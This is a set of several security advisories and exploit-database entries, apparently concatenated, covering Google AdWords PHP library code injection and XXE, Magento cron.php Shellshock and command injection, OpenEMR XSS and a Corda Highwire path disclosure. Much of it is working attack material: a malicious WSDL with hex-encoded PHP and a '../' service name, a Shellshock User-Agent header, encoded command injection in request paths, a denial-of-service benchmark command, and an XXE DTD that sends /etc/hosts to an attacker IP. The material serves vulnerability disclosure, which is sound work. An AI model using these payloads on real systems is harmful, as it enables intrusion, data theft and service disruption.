INTRODUCTION ------------------------- The Google AdWords API client library for PHP contains a WSDL Interpreter class which is described in a comment within the source code as: " * The main class for handling WSDL interpretation. * * The WSDLInterpreter is utilized for the parsing of a WSDL document for rapid * and flexible use within the context of PHP 5 scripts. " The class contains a function savePHP() which allows to convert the WSDL document received from a remote end into a PHP file. The funcion is vulnerable to Path Traversal and Code Execution vulnerabilities. IV. DESCRIPTION ------------------------- googleads-php-lib contains the following function which is meant to load WSDL document (XML data) from a remote Google AdWords server: ---[ build_lib/WSDLInterpreter/WSDLInterpreter.php ]--- protected function loadWsdl($wsdlUri, $proxy = null) { // Set proxy. if ($proxy) { $opts = array( 'http' => array( 'proxy' => $proxy, 'request_fulluri' => true ) ); $context = stream_context_get_default($opts); libxml_set_streams_context($context); } $this->dom = new DOMDocument(); $this->dom->load($wsdlUri, LIBXML_DTDLOAD|LIBXML_DTDATTR|LIBXML_NOENT|LIBXML_XINCLUDE); ------------------------------------------------------- For security reasons Google AdWords API should only be accessed via HTTPS. However, the above code does not set appropriate SSL settings on the https:// stream context. It fails to assign Certificate Authority (CA), turn the verify_peer option to ON, specify allowed ciphers etc. It uses the stream_context_get_default() function to get the default context, which on all PHP versions below PHP 5.6.x (see references), does not validate the CA by default. Because of this, application may retrieve data from untrusted sources pretending to be adwords.google.com. Further on, the WSDLInterpreter class contains the following savePHP function: ---[ build_lib/WSDLInterpreter/WSDLInterpreter.php ]--- /** * Saves the PHP source code that has been loaded to a target directory. * * Services will be saved by their validated name, and classes will be * included with each service file so that they can be utilized independently. * * @param string $outputDirectory the destination directory for the source * code * @return array array of source code files that were written out * @throws WSDLInterpreterException problem in writing out service sources */ public function savePHP($outputDirectory) { if (!count($this->servicePHPSources)) { throw new WSDLInterpreterException("No services loaded"); } $namespace = $this->enableNamespaces ? sprintf("namespace %s;\n\n", $this->utils->getNamespace()) : ''; $require = sprintf("require_once \"%s\";\n\n", $this->soapClientClassPath); $classSource = join("\n\n", $this->classPHPSources); $outputFiles = foreach ($this->servicePHPSources as $serviceName => $serviceCode) { $filename = sprintf('%s/%s.php', $outputDirectory, $serviceName); $success = file_put_contents($filename, sprintf( "<?php\n%s%s%s%s\n\n%s\n\n", $this->getFileHeader(), $namespace, $require, $classSource, $serviceCode)); ... ------------------------------------------------------- The function does not perform sufficient sanitisation of the WSDL document received from a remote end. It allows to inject '../' sequence, which can be used by attackers to save the resulting translated PHP file into an arbitrary directory on the system. It also fails to validate the Name spaces provided within WSDL XML document, making it possible to inject arbitrary PHP code via encoding it in hex. For the attack to be successful, the attacker needs to perform a MitM attack to impersonate adwords.google.com server (eg. via DNS poisoning/spoofing/proxy attacks, ARP spoofing, etc. ) to inject malicious XML code. V. PROOF OF CONCEPT ------------------------- Below is a test application that makes use of of PHP Google AdWords API library. The application simply connects to the AdWords API endpoint to retrieve the Google API WSDL document and translates it into a PHP file. ---[ testAPI.php ]--- <?php // Test application reading WSDL from Google AdWords set_include_path('./build_lib/WSDLInterpreter/'); require_once 'WSDLInterpreter.php'; $wsdlUri = 'https://adwords.google.com/api/adwords/cm/v201502/' .'CampaignService?wsdl'; $wsdlInterpreter = new WSDLInterpreter($wsdlUri, "AdWordsSoapClient",null, null, "CampaignService", "v201502", "Ads_Google", "./src/Google/Api/Ads/AdWords/Lib/AdWordsSoapClient.php", null, true, null); $wsdlInterpreter->savePHP('/tmp/'); ?> --------------------- To exploit this application, an attacker needs to perform a MitM attack to impersonate adwords.google.com server as mentioned in the description above. If an attacker manages to inject the XML below, when the victim requests the https://adwords.google.com/api/adwords/cm/v201502/CampaignService?wsdl link from Google AdWords endpoint: ---[ malicious XML ]--- <?xml version="1.0" encoding="UTF-8"?> <definitions xmlns:typens="urn:POC_RCE" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/wsdl/soap/" xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/" xmlns:wsdl="http://schemas.xmlsoap.org/wsdl/" xmlns="http://schemas.xmlsoap.org/wsdl/" name="POCexploit" targetNamespace="urn:POCexploit444"&#x3b;&#x20;&#x70;&#x75;&#x62;&#x6c;&#x69;&#x63;&#x20;&#x66;&#x75;&#x6e;&#x63;&#x74;&#x69;&#x6f;&#x6e;&#x20;&#x5f;&#x5f;&#x64;&#x65;&#x73;&#x74;&#x72;&#x75;&#x63;&#x74;&#x28;&#x29;&#x20;&#x7b;&#x20;&#x24;&#x65;&#x78;&#x66;&#x6f;&#x6f;&#x20;&#x3d;&#x20;&#x60;&#x2f;&#x62;&#x69;&#x6e;&#x2f;&#x74;&#x6f;&#x75;&#x63;&#x68;&#x20;&#x2f;&#x74;&#x6d;&#x70;&#x2f;&#x61;&#x64;&#x77;&#x6f;&#x72;&#x64;&#x73;&#x5f;&#x61;&#x70;&#x69;&#x5f;&#x68;&#x61;&#x63;&#x6b;&#x65;&#x64;&#x60;&#x3b;&#x20;&#x7d;&#x20;&#x63;&#x6f;&#x6e;&#x73;&#x74;&#x20;&#x4e;&#x4f;&#x54;&#x48;&#x49;&#x4e;&#x47;&#x20;&#x3d;&#x20;""> <service name="../../../var/www/html/POC_Exploit"> <port name="Some_HandlerPort" binding="typens:Some_HandlerBinding"> <soap:address location="https://adwords.google.com/api/adwords/cm/v201502/CampaignService?wsdl" /> </port> </service> </definitions> ---------------------- the vulnerable application will translate it and save it as a script in /var/www/html/POC_Exploit.php (assuming directory is writable) location, instead of /tmp location, due the Path Traversal in '<service name=' tag. It will also decode the hex values representing a malicious PHP script to: "; public function __destruct() { $exfoo = `/bin/touch /tmp/adwords_api_hacked`; } const NOTHING = " The resulting file will be saved in /var/www/html/POC_Exploit.php , and will look as follows after the WSDL to PHP translation: ---[ resulting POC_Exploit.php file ]--- <?php /** [cut] * @package Ads_Google * @subpackage v201309 * @category WebServices * @copyright 2014, Google Inc. All Rights Reserved. * @license http://www.apache.org/licenses/LICENSE-2.0 Apache License, * Version 2.0 */ namespace Ads_Google; require_once "../../src/Google/Api/Ads/AdWords/Lib/AdWordsSoapClient.php"; if (!class_exists("VarwwwhtmlPOC_Exploit", false)) { /** * VarwwwhtmlPOC_Exploit * @package Ads_Google * @subpackage v201309 */ class VarwwwhtmlPOC_Exploit extends AdWordsSoapClient { const SERVICE_NAME = "../../../var/www/html/POC_Exploit"; const WSDL_NAMESPACE = "urn:POCexploit444"; public function __destruct() { $exfoo = `/bin/touch /tmp/adwords_api_hacked`; } const NOTHING = ""; const ENDPOINT = "https://adwords.google.com/api/adwords/cm/v201502/CampaignService?wsdl"; /** * The endpoint of the service * @var string */ public static $endpoint = "https://adwords.google.com/api/adwords/cm/v201502/CampaignService?wsdl"; /** * Constructor using wsdl location and options array * @param string $wsdl WSDL location for this service * @param array $options Options for the SoapClient */ public function __construct($wsdl, $options, $user) { $options["classmap"] = self::$classmap; parent::__construct($wsdl, $options, $user, self::SERVICE_NAME, self::WSDL_NAMESPACE); } } } ---------------------------------------- If such class gets included it will execute the malicious code due to the injected __destruct() method, which creates /tmp/adwrods_api_hacked file. At this point the attacker can control the name of the class (through service name), the path to the resulting PHP file, and is also able to inject any PHP code. Going further, He could also close the class definition statement and write an arbitrary PHP code in the main file. This would allow the attacker to create a stand alone script which he could request remotely via the Web server if he managed save it within the web root. In this way the attacker could create a stand alone PHP command shell and get access to the system. VI. BUSINESS IMPACT ------------------------- The severity of this issue is lowered to medium/high as despite the possibility to execute arbitrary code, the attacker must impersonate adwords.google.com server to be able to inject malicious XML. If there is a possibility for such an attack, the severity of the issue can grow to high/critical. VII. SYSTEMS AFFECTED ------------------------- Google AdWords API PHP client library in versions up to 6.2.0 contain the vulnerable WSDLInterpreter code. VIII. SOLUTION ------------------------- Upgrade Google AdWords API PHP client library to the latest version. IX. REFERENCES ------------------------- This advisory: http://legalhackers.com/advisories/Google-AdWords-PHP-Client-library-PHP-Code-Execution.txt Related, Google AdWords API client libraries - XML eXternal Entity Injection (XXE) vuln: http://legalhackers.com/advisories/Google-AdWords-API-libraries-XXE-Injection-Vulnerability.txt https://github.com/googleads/googleads-php-lib https://github.com/googleads/googleads-php-lib/blob/master/ChangeLog.md https://developers.google.com/adwords/api/docs/ https://developers.google.com/adwords/api/docs/clientlibraries PHP 5.6.x openssl certificates in PHP streams: http://php.net/manual/en/migration56.openssl.php X. CREDITS ------------------------- The vulnerability has been discovered by Dawid Golunski dawid (at) legalhackers (dot) com http://legalhackers.com XI. REVISION HISTORY ------------------------- May 18th, 2015: Advisory created and sent to Google Security Team Nov 5th, 2015: Google, after half a year, confirm the vulnerability has been patched Nov 6th, 2015: Advisory released publicly XII. LEGAL NOTICES ------------------------- The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. I accept no responsibility for any damage caused by the use or misuse of this information.
  22. # Exploit Title: eBay Magento CE <= 1.9.2.1 Unrestricted Cron Script (Potential Code Execution / DoS) # Date: 06.11.2015 # Exploit Author: Dawid Golunski # Vendor Homepage: http://magento.com # Version: eBay Magento CE <= 1.9.2.1 / Magento EE <=1.14.2.1 # Tested on: Linux # Magento reference ID: APPSEC-1045 ============================================= - Release date: 06.11.2015 - Discovered by: Dawid Golunski - Severity: Medium - eBay Magento ref.: APPSEC-1037 ============================================= I. VULNERABILITY ------------------------- eBay Magento CE <= 1.9.2.1 Unrestricted Cron Script (Potential Code Execution / DoS) eBay Magento EE <= 1.14.2.1 II. BACKGROUND ------------------------- - eBay Magento eCommerce http://magento.com/ "More than 240,000 merchants worldwide put their trust in our eCommerce software. Magento's eCommerce platform gives you the tools you need to attract more prospects, sell more products, and make more money. It's what we do. We're owned by eBay, so you know we're eCommerce experts" III. INTRODUCTION ------------------------- Default installation of ebay Magento eCommerce software comes with a cron.php which allows to manage scheduled tasks. The script is not protected by default and can be publicly accessed. The publicly exposed cron script poses some potential risks such as exploitation of the well known shellshock vulnerability on unpatched systems leading to code execution. The same script has another potential command execution vector that stems from inproper data sanitisation passed to a shell_exec function. Apart from the code execution vectors, the script could potentially be used to perform a DoS attack due to lack of locking mechanism that prevents the script from spawning multiple instances of other helper shell scripts. IV. DESCRIPTION ------------------------- A) Shellshock vector Magento cron.php script includes a command execution function that looks as follows: -----[ magento/cron.php ]----- ... try { if (stripos(PHP_OS, 'win') === false) { $options = getopt('m::'); if (isset($options['m'])) { if ($options['m'] == 'always') { $cronMode = 'always'; } elseif ($options['m'] == 'default') { $cronMode = 'default'; } else { Mage::throwException('Unrecognized cron mode was defined'); } } else if (!$isShellDisabled) { $fileName = basename(__FILE__); $baseDir = dirname(__FILE__); shell_exec("/bin/sh $baseDir/cron.sh $fileName -mdefault 1 > /dev/null 2>&1 &"); shell_exec("/bin/sh $baseDir/cron.sh $fileName -malways 1 > /dev/null 2>&1 &"); exit; } ... ------------------------------ As can be seen, the script runs shell_exec() that loads /bin/sh program which is usually a symlink to /bin/bash. Although the shellshock vulnerability should be patched, there have been reports of linux distributions that insufficiently patched the issue and remained vulnerable. Magento's cron.php could be used as exploit the shellshock vulnerability on unpatched systems which host Magento in CGI mode (which can be easily enabled via .htaccess file provided with Magento). B) Command injection The script fails to sanitise the input data coming from $baseDir variable. Input passed to shell execution functions should always be sanitised with escapeshellcmd / escapeshellarg PHP functions. Although not exploitable on its own, the lack of escaping could allow to inject some system commands on Magento hosting platforms which have a feature to create backups of directories with a specified name within the document root. If the provided hosting control panel allows to specify names of such backups, a user could potentially inject some malicious data within the directory name which could result in a command injection when cron.php is run from the backup directory. The command would execute upon the shell_exec() receiving the malicious data injected with the help of the $baseDir variable. C) Denial of Service As the script lacks any access control and a locking mechanism, it is possible to remotely request cron.php multiple times in order to make it spawn multiple instances of the cron.sh script. As a single execution of the script results in 2 cron.sh spawned processes, plus a separate CGI process (if website runs as CGI), an attacker could potentially overload the Magento site with multiple requests and create a Denial of Service condition by process exhaustion etc. V. PROOF OF CONCEPT ------------------------- A) Shellshock vector exploit Sending the following request to a CGI-enabled Magento site: GET /magento/cron.php HTTP/1.1 Host: victim_magento_site User-Agent: () { :; } ; /bin/touch /tmp/magento_cron_hack will result in a command execution on shellshock affected systems. The resul of the above would be: victim$ ls -l /tmp/magento_cron_hack -rw-rw-rw- 1 www-data www-data 0 Jul 26 09:08 /tmp/magento_cron_hack B) Command injection Due to lack of sanitisation, if a malicious Magento user had access to a backup facility, he could potenially create a backup of the magento directory with a command within the name , e.g.: $(id) The user could then request the cron.php script via the following request: GET /magento/$(id)/cron.php HTTP/1.1 Host: victim_magento_site Because of the shell_exec() function in the quoted sourcecode of cron.php: --- $baseDir = dirname(__FILE__); shell_exec("/bin/sh $baseDir/cron.sh $fileName -mdefault 1 > /dev/null 2>&1 &"); --- it would cause the cron.php script to run the following command: /bin/sh /var/www/magento/$(id)/cron.sh exec.php -mdefault 1 > /dev/null 2>&1 & The command would run id program as soon as bash command expansion syntax of $() got evaluated. An attacker could also run more complex commands, by hex encoding disallowed characters within directory names (such as '/' directory separator). For example, he could run the command: touch /tmp/magento_exec by encoding it as follows: echo 'touch /tmp/magento_exec' | hexdump -v -e '"\\\\\\""x" 1/1 "%02x" ""' ${1} \\\x74\\\x6f\\\x75\\\x63\\\x68\\\x20\\\x2f\\\x74\\\x6d\\\x70\\\x2f\\\x6d\\\x61\\\x67\\\x65\\\x6e\\\x74\\\x6f\\\x5f\\\x65\\\x78\\\x65\\\x63 He could then execute it via a GET request of: GET /magento/$(`echo%20-e%20\\\x74\\\x6f\\\x75\\\x63\\\x68\\\x20\\\x2f\\\x74\\\x6d\\\x70\\\x2f\\\x6d\\\x61\\\x67\\\x65\\\x6e\\\x74\\\x6f\\\x5f\\\x65\\\x78\\\x65\\\x63`)/exec.php HTTP/1.1 which would execute: /bin/sh /var/www/magento/exec_poc/$(`echo -e \\\x74\\\x6f\\\x75\\\x63\\\x68\\\x20\\\x2f\\\x74\\\x6d\\\x70\\\x2f\\\x6d\\\x61\\\x67\\\x65\\\x6e\\\x74\\\x6f\\\x5f\\\x65\\\x78\\\x65\\\x63`)/cron.sh exec.php -mdefault 1 > /dev/null 2>&1 & resulting in creating the PoC file: victim$ ls -l /tmp/magento_exec -rw-r--r-- 1 www-data www-data 0 Jul 26 11:20 /tmp/magento_exec C) Denial of Service By sending multiple requests to cron.php, for example using apache benchmark tool: attacker$ ab -n 500 -c 30 http://victim_magento_site/magento/cron.php attacker could exploit the lack of locking to spawn numerous processes, potentially leading to resource exhaustion and a DoS condition. The above command would result in creating multiple instances of the cron.php/cron.sh scripts on the target host: ... www-data 5529 0.2 1.3 287756 6872 ? Rl 10:02 0:00 /usr/bin/php /var/www/magento/cron.php -mdefault www-data 5531 0.2 1.1 288000 5848 ? Dl 10:02 0:00 /usr/bin/php /var/www/magento/cron.php -mdefault www-data 5533 0.2 1.2 288000 6432 ? Dl 10:02 0:00 /usr/bin/php /var/www/magento/cron.php -malways www-data 5535 0.3 1.2 288000 6484 ? Dl 10:02 0:00 /usr/bin/php /var/www/magento/cron.php -malways www-data 5537 0.3 1.5 288768 7740 ? Dl 10:02 0:00 /usr/bin/php /var/www/magento/cron.php -malways www-data 5539 0.3 1.3 287524 6956 ? Rl 10:02 0:00 /usr/bin/php /var/www/magento/cron.php -malways www-data 5541 0.3 1.4 288768 7168 ? Dl 10:02 0:00 /usr/bin/php /var/www/magento/cron.php -malways www-data 5543 0.3 1.4 288288 7188 ? Rl 10:02 0:00 /usr/bin/php /var/www/magento/cron.php -malways www-data 5546 0.3 1.4 288512 7188 ? Rl 10:02 0:00 /usr/bin/php /var/www/magento/cron.php -malways www-data 5885 0.0 0.0 17880 460 ? S 10:03 0:00 /bin/sh /var/www/magento/cron.sh cron.php -mdefault 1 www-data 5886 0.0 0.0 17880 456 ? S 10:03 0:00 /bin/sh /var/www/magento/cron.sh cron.php -mdefault 1 www-data 5887 0.0 0.0 17880 456 ? S 10:03 0:00 /bin/sh /var/www/magento/cron.sh cron.php -mdefault 1 www-data 5888 0.0 0.0 17880 440 ? S 10:03 0:00 /bin/sh /var/www/magento/cron.sh cron.php -mdefault 1 www-data 5889 0.0 0.0 17880 460 ? S 10:03 0:00 /bin/sh /var/www/magento/cron.sh cron.php -mdefault 1 www-data 5890 0.0 0.0 17880 460 ? S 10:03 0:00 /bin/sh /var/www/magento/cron.sh cron.php -mdefault 1 www-data 5891 0.0 0.0 17880 460 ? S 10:03 0:00 /bin/sh /var/www/magento/cron.sh cron.php -mdefault 1 www-data 5899 0.0 0.0 17880 496 ? S 10:03 0:00 /bin/sh /var/www/magento/cron.sh cron.php -mdefault 1 www-data 5900 0.0 0.0 17880 460 ? S 10:03 0:00 /bin/sh /var/www/magento/cron.sh cron.php -mdefault 1 www-data 5901 0.0 0.0 17880 496 ? S 10:03 0:00 /bin/sh /var/www/magento/cron.sh cron.php -malways 1 www-data 5904 0.0 0.0 17880 500 ? S 10:03 0:00 /bin/sh /var/www/magento/cron.sh cron.php -mdefault 1 www-data 5907 0.0 0.0 17880 496 ? S 10:03 0:00 /bin/sh /var/www/magento/cron.sh cron.php -malways 1 www-data 5909 0.0 0.0 17880 500 ? S 10:03 0:00 /bin/sh /var/www/magento/cron.sh cron.php -malways 1 www-data 5910 0.0 0.0 17880 460 ? S 10:03 0:00 /bin/sh /var/www/magento/cron.sh cron.php -malways 1 www-data 5912 0.0 0.0 17880 464 ? S 10:03 0:00 /bin/sh /var/www/magento/cron.sh cron.php -mdefault 1 www-data 5913 0.0 0.0 17880 460 ? S 10:03 0:00 /bin/sh /var/www/magento/cron.sh cron.php -mdefault 1 ... VI. BUSINESS IMPACT ------------------------- The issue has been rated as medium. Depending on the Magento hosting features and applied patches code execution could be possible which would increase the risks. VII. SYSTEMS AFFECTED ------------------------- The latest version of eBay Magento CE (1.9.2.1) was confirmed to contain the vulnerable cron.php script. The Magento EE versions also contain this problem according to the vendor's advisory. VIII. SOLUTION ------------------------- eBay Magento assigned this issue the ID of APPSEC-1037 and supplied a patch for it within the SUPEE-6788 patch bundle available on the official website. The patch adds sanitisation functions around the shell_exec() code however the cron script remains publicly accessible. It is recommended to protect the cron script by other means. For example, the script could require a key supplied together with a GET request to proceed with the execution which is commonly used with other major open source solutions. The easiest way would also be restricting acess to the script to only certain IPs or localhost within the web server configuration. IX. REFERENCES ------------------------- http://legalhackers.com/advisories/Magento-Unrestricted-Cron-Script-Vulnerability.txt Oficial eBay Magento website: http://magento.com/ Patch 'SUPEE-6788 Patch Bundle', addressing 'XXE/XEE Attack on Zend XML Functionality Using Multibyte Payloads' (APPSEC-1037) is available at: https://magento.com/security/patches/supee-6788 X. CREDITS ------------------------- The vulnerabilities have been discovered by Dawid Golunski dawid (at) legalhackers (dot) com legalhackers.com XI. REVISION HISTORY ------------------------- Nov 6th, 2015: Advisory released XII. LEGAL NOTICES ------------------------- The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. I accept no responsibility for any damage caused by the use or misuse of this information.
  23. source: https://www.securityfocus.com/bid/61154/info OpenEMR is prone to an HTML-injection vulnerability because it fails to properly sanitize user-supplied input before using it in dynamically generated content. Successful exploits will allow attacker-supplied HTML and script code to run in the context of the affected browser, potentially allowing the attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user. Other attacks are also possible. OpenEMR 4.1.1 patch-12 and prior are vulnerable. 1. Misc > Office Notes ('note' parameter is vulnerable with a POST to /openemr-4.1.1/interface/main/onotes/office_comments_full.php) #Request: POST http://www.example.com/openemr-4.1.1/interface/main/onotes/office_comments_full.php HTTP/1.1 Host: www.example.com User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:16.0) Gecko/20100101 Firefox/16.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Proxy-Connection: keep-alive Referer: http://www.example.com/openemr-4.1.1/interface/main/onotes/office_comments_full.php Content-Type: application/x-www-form-urlencoded Content-Length: 43 mode=new&offset=0&active=all&note=<script>alert(document.cookie)</script> #Response: <snip> <tr><td><input type=hidden value='' name='act115' id='act115'><input name='box115' id='box115' onClick='javascript:document.update_activity.act115.value=this.checked' type=checkbox checked></td><td><label for='box115' class='bold'>Wed February 06th</label> <label for='box115' class='bold'>(test)</label></td><td><label for='box115' class='text'><script>alert(document.cookie)</script>&nbsp;</label></td></tr> <snip>
  24. # Date: 06.11.2015 # Exploit Author: Dawid Golunski # Vendor Homepage: https://developers.google.com/adwords/api/docs/clientlibraries # Software Link: https://github.com/googleads/googleads-php-lib # Version: Google AdWords API client libraries - XML eXternal Entity Injection (XXE) ============================================= - Release date: 06.11.2015 - Discovered by: Dawid Golunski - Severity: Medium/High ============================================= I. VULNERABILITY ------------------------- Google AdWords API client libraries - XML eXternal Entity Injection (XXE) Confirmed in googleads-php-lib <= 6.2.0 for PHP, AdWords libraries: googleads-java-lib for Java, and googleads-dotnet-lib for .NET are also likely to be affected. II. BACKGROUND ------------------------- - AdWords API "The AdWords API is a collection of web services that you can use to build applications that manage AdWords accounts and their associated campaign data. While the AdWords API is based on SOAP 1.1, high-level client libraries are provided to help you develop applications more quickly." AdWords API client libraries are available for different platforms such as PHP, .NET, Java etc. These can be found at: https://developers.google.com/adwords/api/docs/clientlibraries III. INTRODUCTION ------------------------- As Google AdWords is based on SOAP protocol that uses XML to transfer the data, client API libraries should have necessary preventions against XML eXternal Entity injection attacks. However, an independent research found the necessary preventions to be lacking in several Google AdWords API client libraries, which could allow XXE attacks on applications/servers that make use of them. XXE (XML eXternal Entity) attack is an attack on an application that parses XML input from untrusted sources using incorrectly configured XML parser. The application may be forced to open arbitrary files and/or network resources. Exploiting XXE issues on PHP applications may also lead to denial of service or in some cases (when an 'expect' PHP module is installed) lead to command execution. IV. DESCRIPTION ------------------------- This advisory will focus on PHP version of the AdWords API client library. Other versions of the client library such as .NET and Java seem to be vulnerable in a similar way. googleads-php-lib contains the following function which queries WSDL from the remote google adwords server: ---[ build_lib/WSDLInterpreter/WSDLInterpreter.php ]--- protected function loadWsdl($wsdlUri, $proxy = null) { // Set proxy. if ($proxy) { $opts = array( 'http' => array( 'proxy' => $proxy, 'request_fulluri' => true ) ); $context = stream_context_get_default($opts); libxml_set_streams_context($context); } $this->dom = new DOMDocument(); $this->dom->load($wsdlUri, LIBXML_DTDLOAD|LIBXML_DTDATTR|LIBXML_NOENT|LIBXML_XINCLUDE); $this->serviceNamespace = $this->dom->documentElement->getAttribute('targetNamespace'); } ------------------------------------------------------- The function connects to the API endpoint to get the WSDL document describing the functionality of the AdWords web service in XML. For security reasons Google AdWords API can only be accessed via HTTPS. However, the above code does not set appropriate SSL settings on the https:// stream context. It fails to assign Certificate Authority (CA), and turn the verify_peer option to ON. It uses the stream_context_get_default() to get the default context, which on all PHP versions below PHP 5.6.x (see references below) does not validate the CA by default. Because of this, applications using the AdWords API library may be tricked into retrieving data from untrusted sources pretending to be adwords.google.com. The above code does not provide any XXE injection attack prevention. It does not disable external entity processing. To make it worse, it specifically enables it via the LIBXML parameters provided to the dom->load() function so an XXE injection attack would work even on systems that have the newest and fully patched version of libxml library which does not process the entities by default. Another vulnerable part of the application is located in the code: ---[ src/Google/Api/Ads/Common/Util/XmlUtils.php ]--- public static function GetDomFromXml($xml) { set_error_handler(array('XmlUtils', 'HandleXmlError')); $dom = new DOMDocument(); $dom->loadXML($xml, LIBXML_DTDLOAD | LIBXML_DTDATTR | LIBXML_NOENT | LIBXML_XINCLUDE); restore_error_handler(); return $dom; } ----------------------------------------------------- which is used by the AdsSoapClient class to process SOAP requests. It also activates the ENTITY processing even if libxml parser is set to ingore them by default. AdsSoapClient can be configured to verify SSL peer in SSL communication via the settings INI file but this option is set to off by default. These SSL settings, and the XML ENTITY processing combined make applications using the AdWords API vulnerable to XXE injection attacks. For the attack to be successful, an attacker needs to perform a MitM attack to impersonate adwords.google.com server (eg. via DNS poisoning/spoofing/proxy attacks, ARP spoofing, etc.) to inject malicious XML input. V. PROOF OF CONCEPT ------------------------- Below is a test application that makes use of the PHP Google AdWords API library. The application simply connects to the AdWords API endpoint to retrieve the WSDL document. ---[ testAPI.php ]--- <?php // Test application reading WSDL from Google AdWords set_include_path('./build_lib/WSDLInterpreter/'); require_once 'WSDLInterpreter.php'; $wsdlUri = 'https://adwords.google.com/api/adwords/cm/v201502/' .'CampaignService?wsdl'; $wsdlInterpreter = new WSDLInterpreter($wsdlUri, "AdWordsSoapClient",null, null, "CampaignService", "v201502", "Ads_Google", "./src/Google/Api/Ads/AdWords/Lib/AdWordsSoapClient.php", null, true, null); ?> --------------------- To exploit this application, an attacker needs to perform a MitM attack to impersonate adwords.google.com server, as mentioned in the introduction. For simplicity, we can add the following entry to /etc/hosts on the victim's server: 192.168.57.12 adwords.google.com to simulate a successful MitM attack where attacker successfully manages to ,for example, poison the DNS cache to point the adwords subdomain at his malicious web server (192.168.57.12). The attacker then needs to create a malicious XML file on his server to return it to the victim. Example payload could look as follows: $ curl --insecure 'https://192.168.57.12/api/adwords/cm/v201502/CampaignService?wsdl' <?xml version="1.0"?> <!DOCTYPE root [ <!ENTITY xxetest SYSTEM "http://192.168.57.12/adwords_xxe_hack.dtd"> ]> <test><testing>&xxetest;</testing></test> The XML payload returned by the attacker will cause the vulnerable AdWords API library to resolve the 'xxetest' entity and connect back to the attacker's server to retrieve adwords_xxe_hack.dtd. This can be verified on the victim's server by executing the demonstrated testAPI.php script: $ curl http://victims_server/googleads-php-lib-master/testAPI.php The script will try to retrieve the WSDL/XML document from adwords.google.com which will provide the above malicious XML. After the injected entity is read, the attacker will get a connection from the victim: attacker@mitm# nc -vv -l 8080 Connection from victims_server port 8080 [tcp/http-alt] accepted GET /adwords_xxe_hack.dtd HTTP/1.0 Host: 192.168.57.12:8080 At this point attacker could add other entities to carry out an Out of band XXE attack to read system files (such as /etc/passwd) located on the victim's server, or execute commands via expect:// PHP wrapper if the 'expect' module is enabled. For example, this payload: <?xml version="1.0"?> <!DOCTYPE test [ <!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/etc/hosts"> <!ENTITY % dtd SYSTEM "http://192.168.57.12/send.dtd"> %dtd; ]> <test><testing>test &send;</testing></test> with another file located on the attacker's file server: ---[ send.dtd ]--- <?xml version="1.0" encoding="UTF-8"?> <!ENTITY % all "<!ENTITY send SYSTEM 'http://192.168.57.12:8080/retrieved/%file;'>"> %all; ------------------ would send the contents of the /etc/hosts file to the attacker. VI. BUSINESS IMPACT ------------------------- The severity of this issue is lowered to medium/high despite as the XXE injection vulnerability in the code, the attacker must impersonate adwords.google.com server to be able to inject malicious XML. If there is a possibility for such an attack, the severity of the issue can grow to high/critical due to the exploitation possibilities through XXE injection. VII. SYSTEMS AFFECTED ------------------------- The latest version of Google AdWords API PHP client library was confirmed to be vulnerable. The client libraries for other platforms seem to lack necessary XXE attack preventions too. For example, the Java version, did not set the 'sax/features/external-general-entities' setting to off when creating an instance of the DocumentBuilderFactory class. And the .NET version of the AdWords API was missing explicit 'ProhibitDtd' setting on the XMLReader. Vulnerabilities were found in googleads-php-lib in versions below 5.9.0 and reported to Google in May 2015, they were just fixed in AdWords php library ver. 6.3.0. VIII. SOLUTION ------------------------- Install the latest version of the Google AdWords API library available for your platform, and tighten SSL settings by enabling SSL CA verification in the library settings file. IX. REFERENCES ------------------------- http://legalhackers.com/advisories/Google-AdWords-API-libraries-XXE-Injection-Vulnerability.txt https://developers.google.com/adwords/api/docs/clientlibraries https://github.com/googleads/googleads-php-lib https://developers.google.com/adwords/api/docs/ PHP 5.6.x openssl certificates in PHP streams: http://php.net/manual/en/migration56.openssl.php http://legalhackers.com X. CREDITS ------------------------- The vulnerability has been discovered by Dawid Golunski dawid (at) legalhackers (dot) com http://legalhackers.com XI. TIMELINE ------------------------- May 18th, 2015: Advisory created and sent to Google Security Team Nov 5th, 2015: Google, after half a year, confirm the vulnerability has been patched Nov 6th, 2015: Advisory released publicly XII. LEGAL NOTICES ------------------------- The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. I accept no responsibility for any damage caused by the use or misuse of this information.
  25. source: https://www.securityfocus.com/bid/61152/info Corda Highwire is prone to a path disclosure vulnerability because it fails to properly sanitize user-supplied input. An attacker can exploit this issue to obtain sensitive information that may lead to further attacks. http://www.example.com/highwire.ashx?url=../../